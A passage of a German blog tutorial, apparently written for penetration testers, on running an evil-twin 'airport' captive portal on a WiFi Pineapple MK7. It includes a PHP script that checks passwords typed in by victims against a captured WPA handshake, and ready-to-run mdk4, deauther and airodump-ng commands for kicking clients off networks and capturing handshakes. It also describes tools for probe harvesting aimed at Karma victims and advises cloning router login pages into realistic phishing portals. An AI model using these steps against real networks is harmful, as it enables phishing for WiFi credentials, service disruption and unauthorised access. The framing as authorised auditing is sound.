// Schließen Sie das Dateihandle fclose($fileHandle); // Wenn "KEY FOUND!" in keiner Zeile gefunden wurde file_put_contents($rueayPath, "false\n"); echo '<script>'; echo 'setTimeout(function() {'; echo ' window.location.href="/de/incorrect.php";'; echo '}, 1000);'; // 1000 Millisekunden (1 Sekunde) Verzögerung echo '</script>'; } else { // Fehler beim Öffnen der Datei echo 'Fehler beim Öffnen der Datei: ' . $filePath; } } else { // Datei existiert nicht echo 'Datei nicht gefunden: ' . $filePath; } ?>
Am Ende sollte die Seite Checking.php so aussehen wie unten.
Checking.php Ergebnis:
Nachfolgend finden Sie die endgültige Ausgabe von Checking.php
<?php // Cache-Kontroll-Header setzen header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $filePath = '/tmp/airport_creds_tmp.txt'; $rueayPath = '/tmp/airport_rueay.txt'; $aclAllowPath = '/tmp/airport_aclallow.txt'; // Prüfen, ob die Datei existiert if (file_exists($filePath)) { // Versuch, die Datei zu öffnen $fileHandle = fopen($filePath, 'r'); if ($fileHandle !== false) { // Anzeige von "AUTHORIZING, PLEASE WAIT..." in der Mitte des Bildschirms echo '<div style="text-align: center; margin-top: 20vh; font-size: 30px;">AUTHORIZING, PLEASE WAIT...</div>'; // Prüfen, ob ACLAllow aktiviert ist $ACLAllowTrue = isset($_GET['ACLAllow']) && $_GET['ACLAllow'] == '1'; if ($ACLAllowTrue) { // Schreibe "true" in eine neue Datei file_put_contents($aclAllowPath, "true\n");
} else { // Wenn ACLAllow nicht aktiviert ist, überschreibe die Datei mit einem leeren String file_put_contents($aclAllowPath, ''); } // Versuche, die Datei zeilenweise zu lesen while (($line = fgets($fileHandle)) !== false) { // Eine freizügigere Regex verwenden, um "KEY FOUND!" zu erfassen und den Rest zu ignorieren if (preg_match('/KEY\s*FOUND/', $line, $matches)) { file_put_contents($rueayPath, "true\n"); echo '<script>'; echo 'setTimeout(function() {'; echo ' window.location.href="/de/correct.php";'; echo '}, 1000);'; // 1000 Millisekunden (1 Sekunde) Verzögerung echo '</script>'; fclose($fileHandle); exit(); // Beenden des Skripts nach der Umleitung } } // Schließen des Dateihandles fclose($fileHandle); // Wenn "KEY FOUND!" in keiner Zeile gefunden wurde file_put_contents($rueayPath, "false\n"); echo '<script>'; echo 'setTimeout(function() {'; echo ' window.location.href="/de/incorrect.php";'; echo '}, 1000);'; // 1000 Millisekunden (1 Sekunde) Verzögerung echo '</script>'; } else { // Fehler beim Öffnen der Datei echo 'Fehler beim Öffnen der Datei: ' . $filePath; } } else { // Datei existiert nicht echo 'Datei nicht gefunden: ' . $filePath; } ?>
Ein visueller Blick
- Standard.php

- Prüfen.php

- Fehlerhaft.php

- Standard mit Popover

- Richtig.php mit ACLMessage

- Richtig.php ohne ACLMessage

- Benachrichtigung über besuchte Portale:

- Portal-Passwort-Benachrichtigung:

- Logs für Flughafen:

Der abschließende 4-Way Handshake.
Bevor wir beginnen, möchte ich erwähnen, dass ich hier zwei Schnittstellen verwende (MK7 wlan1 + MK7AC wlan3), also werde ich eine zum Abhören und eine zum Deauthentifizieren verwenden. Wenn Sie diese Einrichtung nicht haben, können Sie einfach nur zuhören und die Authentifizierung über dieselbe Schnittstelle vornehmen. Ich habe auch eine demo.cap Datei mit dem Passwort pineapplesareyummy beigefügt, damit Sie das Captive Portal testen können.
HINWEIS: Wenn Sie Methode 2 verwenden, benötigen Sie möglicherweise einen "Bildschirm" oder zwei offene Terminals, damit Sie mit airodump zuhören und den Client mit mdk4 deauthentifizieren können.
Außerdem ist es am besten, airodump-ng zu verwenden, um den Handshake zu erfassen, da ich bei der Verwendung der WebUI oft feststellte, dass das MK7 selbst bei einem "vollen" pcap 1-2 Tasten vermisst oder die Tasten auf zwei verschiedenen Kanälen erfasst hat, die nahe beieinander liegen (3 und 4). Das absolute Minimum, das aircrack-ng benötigt, ist 1 Beacon-Frame oder Probe-Response-Paket, das die SSID + EAPOL-Paketschlüssel 1 bis 4 enthält.
demo.cap Inhalt:

Wenn Sie mehrere EAPOL Pakete gesendet haben, dann wählen Sie das erste EAPOL Paket aus, wie in der Abbildung unten zu sehen ist. In unserem Beispiel haben wir mehrere Wiederholungen des Schlüssels "3 von 4", so dass die Auswahl des allerersten "3 von 4" das erste übertragene Paket sein wird.

Die WebUI ist der einfachste Weg, einen Client zu finden und ihn zu deauthentifizieren, aber wenn Sie eine andere Methode der Deauthentifizierung bevorzugen, ist das natürlich völlig in Ordnung. Stellen Sie nur sicher, dass dies mit mdk4 oder deauther geschieht.
Methode 1: WebUI
Suchen Sie zunächst einen Client, der deauthentifiziert werden soll:
- Klicken Sie in der Weboberfläche auf die Registerkarte Aufklären.
- Setzen Sie die Scandauer auf 5 Minuten.
- Starten Sie den Scan und lassen Sie die Liste auffüllen.
HINWEIS: Wenn Sie nach den ersten 5 Minuten immer noch keinen Client sehen, überprüfen Sie, ob Ihr Client das 2,4-GHz-Wireless-Band verwendet. Ist dies der Fall, erhöhen Sie die Scandauer auf 10 Minuten.
- Sobald wir die BSSID des Zielclients haben, loggen Sie sich per SSH in Ihren Pineapple ein und starten Sie miniairo oder airodump-ng:
airodump-ng:airodump-ng --bssid BSSID --channel CHANNEL --write psk <interface>.
miniairo:./miniairo -i <Schnittstelle> -b BSSID -T 120 -c CHANNEL -W psk.
- Starten Sie nun im WebUI Terminal deauther, airedeauth oder MDK4:
mdk4:mdk4 wlan1mon -S CLIENT_BSSID -c CHAN.
deauther:./deauther -i wlan1mon -s STA_BSSID -c CHAN -d 5 -w 1 -r 1 -p 1.
airedeauth:./airedeauth -i wlan1mon -a AP_BSSID -s STA_BSSID -c CHAN.
- Sobald Sie "WPA Handshake" sehen, lassen Sie den Vorgang noch ein paar Sekunden laufen und drücken Sie dann
"CTRL+C". (Die "-T 120"-Flagge in miniairo beendet das Skript nach 2 Minuten, was ausreichend sein sollte, aber erhöhen Sie die Zeit nach Bedarf). - Überprüfen Sie nun, ob der Handshake genügend Capture-Pakete einschließlich der EAPOL-Pakete enthält, um einen erfolgreichen Crack durchzuführen.
Methode 2: Reines CLI
benötigt:screen
Installieren:opkg install screen
Hier werde ich Ihnen zeigen, wie Sie dies nur mit CLI machen können:
- Starten Sie miniairo oder airodump-ng:
airodump-ng:airodump-ng --channel CHAN --bssid BSSID wlan1mon.
miniairo:./miniairo -i wlan1mon -c CHAN -b BSSID.
-
Suchen Sie Ihren Ziel-Client und kopieren Sie die BSSID.
-
Starten Sie eine neue Bildschirmsitzung: screen -S capture.
-
Starten Sie airodump-ng oder miniairo:
airodump-ng:airodump-ng --channel CHAN --bssid BSSID --write demo wlan1mon.
miniairo:./miniairo -i wlan1mon -c CHAN -b BSSID -T 120 -W demo.
Die "-T 120"-Flagge in miniairo beendet das Skript nach 2 Minuten, was ausreichen sollte, aber erhöhen Sie die Zeit nach Bedarf.
- Sobald das Skript läuft, beenden Sie die Bildschirmsitzung mit der Tastenkombination
"CTRL+a d". - Führen Sie mdk4, deauther oder airedeauth aus:
mdk4:mdk4 wlan1mon d -c CHAN -S STA_BSSID -s 1.
deauther:./deauther -i wlan1mon -c CHAN -s STA_BSSID -d 5 -w 1 -r 1 -p 1.
airedeauth:./airedeauth -i wlan1mon -a AP_BSSID -s STA_BSSID -c CHAN.
- Sobald der Client deauthentifiziert ist, können wir zurück zu unserer Bildschirmsitzung wechseln und mit
screen -r captureauf den Handshake warten. - Sobald der Handshake stattgefunden hat und wir die Bildschirmsitzung beenden wollen, können wir "CTRL+C" verwenden, um miniairo oder airodump-ng zu beenden, und dann exit eingeben, um den Terminalemulator zu schließen.
- Prüfen Sie, ob der Handshake die erforderlichen Pakete enthält.
Methode 3: Kein Deauth (empfohlen)
Diese Methode ist die bessere und am wenigsten anstößige Methode, um Handshakes zu erfassen, und sie ist meine bevorzugte Methode, wenn Zeit keine Rolle spielt. Der Schlüssel zu dieser Methode ist, dass Sie es nicht eilig haben, Ihren Handschlag zu erfassen und geduldig warten. Irgendwann wird ein normaler Schlüsselaustausch stattfinden.
- Klicken Sie in der Webschnittstelle auf die Registerkarte Recon.
- Setzen Sie die Scandauer auf 5 Minuten.
- Starten Sie den Scan und lassen Sie die Liste auffüllen.
- Sobald der Scan beendet ist, klicken Sie auf Target AP.
- Klicken Sie auf "WPA Handshakes aufzeichnen".
- Klicken Sie auf "Start Capture".
- Holen Sie sich einen Drink und warten Sie geduldig auf einen Handshake.
Wir können auch bpineap verwenden, um dies in CLI zu tun:
./bpineap start_handshake_capture AP_BSSID CHANNEL
Nachdem wir den Handshake aufgezeichnet haben, können wir einen Test mit dem aufgezeichneten Handshake durchführen, um sicherzustellen, dass wir die erforderlichen Pakete für aircrack haben, um eine erfolgreiche Passwortwiederherstellung nach Eingabe des richtigen Passworts durchzuführen.
Um dies zu tun, können wir das Folgende verwenden:
aircrack-ng -a 2 -c CHANNEL -b BSSID -w EMPTYFILE.txt demo.cap
Wenn Sie eine andere Fehlermeldung als "KEY NOT FOUND" erhalten, dann haben Sie nicht die erforderlichen Pakete, um einen erfolgreichen Passwortknackversuch mit dem Captive Portal durchzuführen, und Sie sollten versuchen, den Handshake erneut zu erfassen, wenn möglich.
Wenn Sie jedoch lediglich die Meldung:
KEY NOT FOUND
Dann haben Sie die erforderlichen Datenpakete, damit dies funktioniert.
HINWEIS: Es gibt zahlreiche Gründe, warum aircrack die benötigten Pakete nicht finden kann. Daher ist es am besten, mehr als nur die EAPOL-Nachrichten zu erfassen. Sie können den Handshake weiter unten mit Wireshark auf einem anderen Rechner etwas aufräumen.
(Optional) Capture Clean up mit Wireshark:
HINWEIS: Sie müssen dies auf einem anderen Rechner tun, der Wireshark öffnen kann.
Sie können Ihr Capture bereinigen, indem Sie einfach die .cap-Datei öffnen und Folgendes eingeben:
wlan.sa == AP-MAC && wlan.da == STA-MAC || wlan.da == AP-MAC && wlan.sa == STA-MAC || wlan.fc.type_subtype == 0x0008
Wenn Sie die Werte von STA-MAC mit der BSSID Ihrer Zielstation und AP-MAC mit der BSSID Ihres Zugangspunkts eingeben, werden Sie feststellen, dass wir auch hier die logischen Operatoren AND und OR verwenden!
Halten Sie nun die STRG-Taste gedrückt und klicken Sie mit der linken Maustaste auf den Beacon, der die SSID des Ziel-APs und die 4 EAPOL-Schlüsselnachrichten an den AP und eine Station enthält.
Klicken Sie dann auf "File" > "Export Specified Packets" > "Selected packets only".
Denken Sie daran, die Dateierweiterung .cap zu verwenden.
Sie können auch einen Bereich von zu exportierenden Paketen angeben, zum Beispiel habe ich in meiner demo.cap bestimmte Pakete aus einem Bereich von 719-923 exportiert. Dies wurde dann durch die manuelle Auswahl einer einzelnen Probe-Antwort und der ersten 4 EAPOL-Schlüssel weiter verfeinert.
Damit ist der Abschnitt über das Captive Portal abgeschlossen . Denken Sie daran, die BSSID in der auther.sh so zu ändern, dass sie auf Ihre Ziel-BSSID zeigt.
Dinge, die Sie ändern wollen/müssen:
-
$essidauf den Seiten default.php, incorrect.php, und correct.php -
BSSIDin auther.sh (erforderlich) -
CAP_LOCin auther.sh, wenn Sie einen anderen Namen oder Pfad verwenden wollen. (Erforderlich) - Hintergrundbild in style.css
- Logobild auf Seiten, default.php und incorrect.php.
Sie haben es bis hierher geschafft, also gibt es jetzt ein paar Leckerbissen!
Abgesehen davon, dass ich Ihnen das unverschlüsselte Portal zur Verfügung gestellt habe (das Sie nach Belieben bearbeiten können), habe ich einige Bash-Skripte mit ChatGPT erstellt und selbst einige Anpassungen vorgenommen, die mir bei der Durchführung all dieser Tests geholfen haben.
Als Belohnung möchte ich sie mit Ihnen teilen, aber das Wichtigste zuerst.
DISCLAIMER:
Bitte bedenken Sie, dass diese Anpassungen nicht vollständig ausgearbeitet sind. Es kann auch potentielle Fehler geben, aber sie erfüllen die beabsichtigten Aufgaben!
Die Verwendung erfolgt auf eigene Gefahr!
Ich (amec0e) und LAB401 übernehmen KEINE Haftung oder Verantwortung für jeglichen Missbrauch oder unbeabsichtigte Folgen, die sich aus der Verwendung dieser Tools ergeben.
Diese Tools werden in der Erwartung zur Verfügung gestellt, dass die Benutzer alle geltenden Gesetze und Vorschriften einhalten werden. Sie sind ausschließlich für Bildungs- und Forschungszwecke bestimmt.
Bitte beachten Sie: Ich selbst (amec0e) und Lab401 bieten KEINEN Support für diese Tools an.
Hier ist die Liste:
macspoof:Genau wie es klingt, verwendet macchanger -r für zufällige oder manuelle Eingabe. Drei Optionen stehen zur Auswahl: wlan1, wlan3 (wenn Sie den MK7AC-Adapter oder eine kompatible Karte haben), wlan2. Dies verwendet auch "monitor_vif", um die virtuellen Schnittstellen vorzubereiten, wie es Pineapple tut, wenn man eine Recon-Schnittstelle aus der Pineapple-WebUI auswählt, so dass man wlan3- und wlan3mon-Schnittstellen hat, anstatt nur eine einzige.
miniairoDies ist ein kleiner Wrapper um den airodump-ng-Befehl herum, da es Optionen gab, die ich gerne und oft benutze (uptime, manufacturer, wps), aber ich wollte ein wenig faul sein und nicht jedes Mal alle Befehle komplett abtippen müssen. Es gibt ein Hilfemenü.
gather_probesDieser Befehl nimmt die Datei activity log.db, kopiert sie nach tmp und extrahiert die ESSID und BSSIDs aus dem Protokoll mit sqlite3-cli. Anschließend werden "sort" und "uniq" darauf angewendet und eine Datei namens probes1.txt ausgegeben (dadurch wird ein neues Verzeichnis namens gprobes im Stammverzeichnis erstellt und die Namen der Ausgabedateien werden erhöht). Dies ist nützlich, um nach potenziellen Karma-Angriffsopfern sowie nach neuen SSIDs zu suchen, die sich vielleicht nicht in Ihrem SSID-Pool befinden. Sie können auch ESSIDS aus der Ausgabedatei ausschließen, indem Sie eine Eingabedatei mit ESSIDs (eine pro Zeile) verwenden.
sort_probesDiese Funktion ähnelt der obigen, kombiniert aber die Sonden, indem sie sort und uniq auf alle Sonden*-Dateien innerhalb des Verzeichnisses (/root/gprobes/probes*) anwendet, wodurch mehrere Sondenausgaben zu einer einzigen zusammengefasst werden, sodass Sie Ihre Liste der Zielsonden kombinieren können. Wenn Sie mehrere Sonden haben (was gather_probes tut), wird die Datei "sorted_probes.txt" ausgegeben und überschrieben, also stellen Sie sicher, dass Sie nicht alle Ihre Sonden löschen, wenn Sie das nicht wollen. Sie können sortierte_sonden.txt auch in "sonden_99.txt" umbenennen und diese Datei vor dem erneuten Sortieren zu gprobes hinzufügen.
HINWEIS: Wenn Sie ein Problem mit gather_probes haben, stellen Sie sicher, dass Sie sqlite3-cli installiert haben und dass Ihre libsqlite3 die gleiche Version hat. Sie können folgendes verwenden, um nach Updates zu suchen und die neueste Version von libsqlite3 zu installieren.
opkg update opkg install libsqlite3
MDK4E ModulIch möchte dem Originalautor in keiner Weise die Anerkennung entziehen, da er mir eine großartige Grundlage für meine Arbeit gegeben hat. Hier habe ich 3 neue Optionen bearbeitet und hinzugefügt, um mit der WebUI-Schnittstelle zu arbeiten. -B -E und -S (Single AP BSSID, ESSID und Station BSSID). Modul Autor: newbi3 (Entschuldigung, ich konnte keinen Social Link finden!)
MACInfoAuch hier möchte ich dem ursprünglichen Autor nicht die Anerkennung entziehen, ein fantastisches Modul. Allerdings habe ich Prompt Engineering benutzt, um die module.py umzuschreiben, die dieses Modul betreibt, um eine bessere Suche nach vollständigen OUIs zu ermöglichen, anstatt nur auf die ersten 3 Oktette beschränkt zu sein und die Standard-OUI-Liste von Pineapple zu benutzen (was okay ist, aber ich wollte mehr). Dazu gehört auch die gesamte OUI-Datenbank von Maclookup.app, die damit genutzt werden kann, um eine viel umfangreichere OUI-Macinfo-Datenbank zu erhalten. Die Online-Seite wurde ebenfalls komplett entfernt, da die Seite, mit der sie zu kommunizieren versuchte, bei der Suche nicht funktionierte und ich sie nicht reparieren wollte, wenn wir jetzt eine viel größere Datenbank haben als vorher. Modul Autor: KoalaV2
Process_MAL_Only.py (Verbesserte OUI-Liste für Recon) Hier habe ich die Standard-OUI-Liste von Pineapples erweitert. Diese verwendet Maclookups OUI-Datenbank und konvertiert akzentuierte Zeichen, um die Lesbarkeit zu erhalten und Dinge wie Unicode zu entfernen. Dies verwendet immer noch nur die ersten 3 Oktette (00:11:22), aber im Vergleich zur Standardgröße der Pineapples von 1,1mb, ist Maclookups 1,8mb groß. Es hat viel mehr Einträge. Das kann mit jq -c 'keys_unsorted | length' youfile.json überprüft werden, eventuell müssen Sie es erst installieren opkg install jq.
Process_MLA_Complete.pyDies ermöglichte es mir, die CSV-Datei von Maclookup zu nehmen und die aktuelle Datenbank der OUIs für die Verwendung im MACInfo-Modul zu extrahieren. Stellen Sie nur sicher, dass Sie die MACInfo "MLA_OUI_COMPLETE" genau so umbenennen, wenn Sie sie ersetzen.
deautherAuf dieses Modul bin ich sehr stolz, und ich habe lange mit ChatGPT gearbeitet, um es wie erwartet zum Laufen zu bringen. Der Clou ist, dass man eine Liste von Stations-BSSIDs oder eine Liste von AP-BSSIDs mit Kanalnummern in einer Liste angeben kann, und der Kanal wird entsprechend pro Ziel geändert. Sie können eine Laufzeit festlegen, wie lange zwischen den Angriffsversuchen gewartet werden soll, wie oft der Angriff auf ein Ziel wiederholt werden soll und Sie können die Pakete pro Sekunde festlegen. Sie können auch nur eine einzelne AP- oder STA-BSSID angeben, wenn Sie das möchten, und mit -c werden die in den Zieldateien festgelegten Kanäle im Format: BSSID,CHANNEL. Ich würde empfehlen, einen Blick in das Hilfemenü zu werfen.
bpineapDies ist ein Tool, bei dessen Erstellung mir ChatGPT geholfen hat. Damit können Sie alle Optionen einstellen, die Sie mit uci show pineap finden würden, abzüglich des ap_interface, da dieses aufgrund anderer Faktoren nicht korrekt funktioniert. Dies verwendet uci, um diese Optionen vorübergehend zu setzen und startet dann pineapd neu, um sicherzustellen, dass die Änderungen wirksam werden. Sie können auch einen Scan anzeigen, einen Scan stoppen und einen Scan starten, indem Sie die pineap-Optionen von cli verwenden. Das spart Zeit bei der Eingabe oder beim Kopieren und Einfügen der zu bearbeitenden uci-Zeile.
AirPort Captive PortalIch glaube, das muss an dieser Stelle nicht vorgestellt werden :D
check_handshakesDies ist ein kleines Skript, das ich erstellt habe, um die vom WiFi Pineapple aufgezeichneten Handshakes zu überprüfen und ihren Zustand auf der Grundlage bestimmter Bedingungen zu kontrollieren. Benutze das -h mit diesem Skript, um das Hilfemenü zu sehen.
airedeauthÄhnlich wie deauther, mit dem Unterschied, dass es ein Wrapper um aireplay-ng ist, es ist besser geeignet, um Stationen mit einer bestimmten Anzahl von Paketgruppen anzusprechen.
capture_handshakesDies verwendet eine einfache Schleife, um eine Eingabeliste von BSSIDs und Kanalnummern zu nehmen und startet nacheinander pineap handshake_capture_start und pineap handshake_capture_stop. Dies ermöglicht es Ihnen, ein dediziertes Handshake-Capture auf die gleiche Art und Weise zu starten, wie Sie es mit der WebUI tun würden, um einfach die Aufzeichnung von Handshakes für verschiedene BSSIDs auf verschiedenen Kanälen zu stoppen und zu starten. Wenn Sie diese Funktion zusammen mit dem Bildschirm verwenden, können Sie eine 24-stündige Handshake-Erfassung für ausgewählte Zugangspunkte auf ihren entsprechenden Kanälen starten.
Herunterladen:
- Sie können die MK7Scripts hier herunterladen.
- Sie können die MK7Module hier herunterladen.
- Sie können das Captive Portal hier herunterladen.
Tipp: Wenn Sie die Befehle mit der Tabulatortaste automatisch vervollständigen möchten, legen Sie sie einfach in /bin/ ab, dann können Sie den Befehl durch Drücken der Tabulatortaste automatisch vervollständigen.
Ist die WiFi Pineapple ihren Preis wert?
Der WiFi Pineapple ist für das geeignet, was er am besten kann, nämlich WiFi-Auditing und einen Rogue Access Point im Zielnetzwerk. Sie ist nur eines der vielen Tools, die einen kleinen Teil des Werkzeugkastens eines professionellen Pentesters ausmachen.
Man könnte argumentieren, dass man das Gleiche mit einem Raspberry Pi machen kann, und das wäre auch richtig so, aber der Zeit- und Kostenaufwand für die Einrichtung des Äquivalents zum WiFi Pineapple würde den Zeit- und Kostenaufwand für ein WiFi Pineapple übersteigen (schließlich ist Zeit Geld, wenn man einen Auftrag hat).
Die Antwort lautet also: Ja, sie ist ihr Geld wert , wenn man sie braucht.
Ist die WiFi Pineapple im Jahr 2024 noch relevant?
WiFi ist zwar nicht mehr das, was es vor 10 Jahren war, viele einfache Schlupflöcher wurden gepatcht und geschlossen, aber es gibt immer noch viele Router, die veraltet sind oder schlecht implementiert oder falsch konfiguriert sind.
Dinge wie DNS-Over-Https, DNS-Caching, HSTS, HTTPS-Everywhere haben viele ältere Angriffe überflüssig gemacht, aber das Abfangen von Handshakes und das Knacken von Daten ist immer noch relevant und wird es auch noch eine ganze Weile bleiben.
Das liegt daran, dass es immer noch viele Geräte gibt, die das WPA3-Protokoll nicht unterstützen (einschließlich Kameras, wie wir in meinem früheren Deauth-Artikel herausgefunden haben). Mit dem unverschlüsselten Portal gibt es jedoch eine weitere Angriffsmethode, um Anmeldedaten zu erhalten.
Das bedeutet, dass Sie mit der WiFi Pineapple sehr viel kreativer bei Ihren Angriffen und Techniken werden müssen und gleichzeitig die Grenzen des Geräts kennen müssen.
Wahrscheinlich werden Sie Ihren Pineapple auch anpassen müssen, sei es mit Skripten, Modulen, erweiterten OUI-Datenbanken, Portalen usw.
Die meisten Kunden werden Ihnen wahrscheinlich eine "vermeintlich verletzte" Position zum Testen zur Verfügung stellen; in diesem Fall benötigen Sie einen Laptop mit den Tools, die Sie zur Durchführung der Aufgabe benötigen. Zusammen mit anderen physischen Werkzeugen, seien es O.MG-Kabel oder Implantate, was auch immer Sie für die Arbeit benötigen. Um die Frage zu beantworten: Ja, die WiFi-Ananas ist nach wie vor von Bedeutung , wenn Sie den Bedarf dafür haben.
Abschließende Bemerkung.
Das Captive Portal, das wir hier erstellt haben, mag zwar einfach aussehen, aber es steckt eine Menge dahinter, und aus rechtlichen Gründen wollte ich natürlich nicht zeigen, wie man eine realistische Phishing-Seite erstellt.
Ich hoffe jedoch, dass ich Ihnen alle Informationen zur Verfügung gestellt habe, die Sie benötigen, um das Erscheinungsbild oder die Abläufe für Ihr eigenes Engagement anzupassen.
Als kleine abschließende Herausforderung für Sie selbst: Versuchen Sie, Ihr eigenes Captive Portal zu erstellen, indem Sie die Anmeldeseite Ihres Home-Routers und Assets wie Bilder, css-Dateien usw. verwenden. Manchmal sind es nur einfache Anpassungen, die vorgenommen werden müssen, und mit den Entwicklungswerkzeugen des Browsers. Damit können Sie alle Styling-Optionen einstellen, um eine realistische Router-Anmeldeseite als Captive Portal zu erstellen.
Ich hoffe sehr, dass Ihnen dieser Artikel gefallen hat. Es hat viel Spaß gemacht, mit der Pineapple zu spielen und sie anzupassen. Außerdem habe ich dieses Flughafenportal erstellt, mit dem ich sehr zufrieden bin, da ich airgeddons böses Portal mit Handshake-Idee liebe. Ich hatte auch sehr viel Spaß und Kopfschmerzen bei der Erstellung dieser Portale!
Sie können die WiFi Pineapple MK7 von LAB401 kaufen, indem Sie meinen Rabattcode verwenden: AMEC0E oder durch Klicken auf den Link hier.
Ressourcen:
- https://developer.mozilla.org/en-US/ - Großartig für die Suche nach einer der hier verwendeten Funktionen.
- https://www.w3schools.com - Eine weitere großartige Ressource für die Suche nach Styling
- https://www.php.net/manual/en/ - PHP-Handbuch.
- https://getbootstrap.com/docs/4.3/getting-started/introduction/ - Bootstrap 4.3 (hier verwendet) Dokumentation. Ein weiterer großartiger Ort für Styling.
- https://man7.org/linux/man-pages/index.html - Gut geeignet, um die Handbuchseiten für bestimmte Optionen zu prüfen.
- https://maclookup.app/downloads/csv-database - Maclookup CSV Datenbank Download.
Einen Kommentar hinterlassen